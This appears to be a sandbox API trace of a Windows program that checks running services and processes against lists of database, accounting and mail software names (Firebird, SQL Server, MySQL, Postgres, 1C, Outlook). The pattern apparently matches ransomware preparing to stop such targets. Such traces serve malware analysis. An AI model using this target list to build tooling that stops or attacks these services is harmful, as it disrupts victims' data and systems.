	[0104.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0104.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0104.994] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0104.994] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0104.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0104.994] lstrlenW (lpString="MMCSS") returned 5
	[0104.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0104.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0104.994] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0104.994] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0104.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0104.994] lstrlenW (lpString="MpsSvc") returned 6
	[0104.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0104.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0104.994] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0104.994] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0104.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0104.995] lstrlenW (lpString="Netman") returned 6
	[0104.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0104.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0104.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0104.995] lstrlenW (lpString="netprofm") returned 8
	[0104.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0104.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0104.995] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0104.995] lstrlenW (lpString="NlaSvc") returned 6
	[0104.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0104.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0104.995] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0104.995] lstrlenW (lpString="nsi") returned 3
	[0104.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0104.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0104.995] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0104.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0104.995] lstrlenW (lpString="PcaSvc") returned 6
	[0104.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0104.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0104.996] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0104.996] lstrlenW (lpString="PlugPlay") returned 8
	[0104.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0104.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0104.996] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0104.996] lstrlenW (lpString="Power") returned 5
	[0104.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0104.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0104.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0104.996] lstrlenW (lpString="ProfSvc") returned 7
	[0104.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0104.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0104.996] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0104.996] lstrlenW (lpString="RpcEptMapper") returned 12
	[0104.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0104.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0104.996] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0104.997] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0104.997] lstrlenW (lpString="RpcSs") returned 5
	[0104.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0104.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0104.997] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0104.997] lstrlenW (lpString="SamSs") returned 5
	[0104.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0104.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0104.997] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0104.997] lstrlenW (lpString="Schedule") returned 8
	[0104.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0104.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0104.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0104.997] lstrlenW (lpString="SENS") returned 4
	[0104.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0104.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0104.997] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0104.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0104.998] lstrlenW (lpString="ShellHWDetection") returned 16
	[0104.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0104.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0104.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0104.998] lstrlenW (lpString="Spooler") returned 7
	[0104.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0104.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0104.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0104.998] lstrlenW (lpString="swprv") returned 5
	[0104.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0104.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0104.998] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0104.998] lstrlenW (lpString="SysMain") returned 7
	[0104.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0104.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0104.998] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0104.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0104.998] lstrlenW (lpString="Themes") returned 6
	[0104.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0104.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0104.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0104.999] lstrlenW (lpString="TrkWks") returned 6
	[0104.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0104.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0104.999] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0104.999] lstrlenW (lpString="UxSms") returned 5
	[0104.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0104.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0104.999] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0104.999] lstrlenW (lpString="VSS") returned 3
	[0104.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0104.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0104.999] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0104.999] lstrlenW (lpString="WdiServiceHost") returned 14
	[0104.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0104.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0104.999] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0104.999] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0105.000] lstrlenW (lpString="WdiSystemHost") returned 13
	[0105.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0105.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0105.000] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0105.000] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0105.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.000] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0105.000] lstrlenW (lpString="Winmgmt") returned 7
	[0105.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0105.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0105.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0105.000] lstrlenW (lpString="WPDBusEnum") returned 10
	[0105.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0105.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0105.000] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0105.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0105.000] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0105.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8
	[0105.003] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0105.004] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0105.005] lstrlenW (lpString="System") returned 6
	[0105.005] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0105.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0105.005] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0105.005] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0105.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0105.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0105.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0105.005] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0105.006] lstrlenW (lpString="smss.exe") returned 8
	[0105.006] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0105.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0105.006] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0105.006] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0105.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0105.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0105.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0105.006] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0105.007] lstrlenW (lpString="csrss.exe") returned 9
	[0105.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0105.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0105.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0105.007] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0105.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0105.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0105.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0105.008] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0105.008] lstrlenW (lpString="wininit.exe") returned 11
	[0105.009] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0105.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0105.009] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0105.009] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0105.010] lstrlenW (lpString="csrss.exe") returned 9
	[0105.010] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0105.010] lstrlenW (lpString="winlogon.exe") returned 12
	[0105.010] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0105.011] lstrlenW (lpString="services.exe") returned 12
	[0105.011] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0105.012] lstrlenW (lpString="lsass.exe") returned 9
	[0105.012] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0105.013] lstrlenW (lpString="lsm.exe") returned 7
	[0105.013] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.014] lstrlenW (lpString="svchost.exe") returned 11
	[0105.014] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.015] lstrlenW (lpString="svchost.exe") returned 11
	[0105.015] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.016] lstrlenW (lpString="svchost.exe") returned 11
	[0105.016] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.017] lstrlenW (lpString="svchost.exe") returned 11
	[0105.017] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.018] lstrlenW (lpString="svchost.exe") returned 11
	[0105.018] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0105.019] lstrlenW (lpString="audiodg.exe") returned 11
	[0105.019] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.020] lstrlenW (lpString="svchost.exe") returned 11
	[0105.020] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.021] lstrlenW (lpString="svchost.exe") returned 11
	[0105.021] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0105.022] lstrlenW (lpString="dwm.exe") returned 7
	[0105.022] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0105.023] lstrlenW (lpString="explorer.exe") returned 12
	[0105.023] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0105.024] lstrlenW (lpString="spoolsv.exe") returned 11
	[0105.024] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0105.025] lstrlenW (lpString="taskhost.exe") returned 12
	[0105.025] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0105.026] lstrlenW (lpString="svchost.exe") returned 11
	[0105.026] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0105.027] lstrlenW (lpString="taskeng.exe") returned 11
	[0105.027] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0105.027] lstrlenW (lpString="taskhost.exe") returned 12
	[0105.028] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0105.028] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0105.028] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0105.029] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0105.029] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0105.030] lstrlenW (lpString="zoo.exe") returned 7
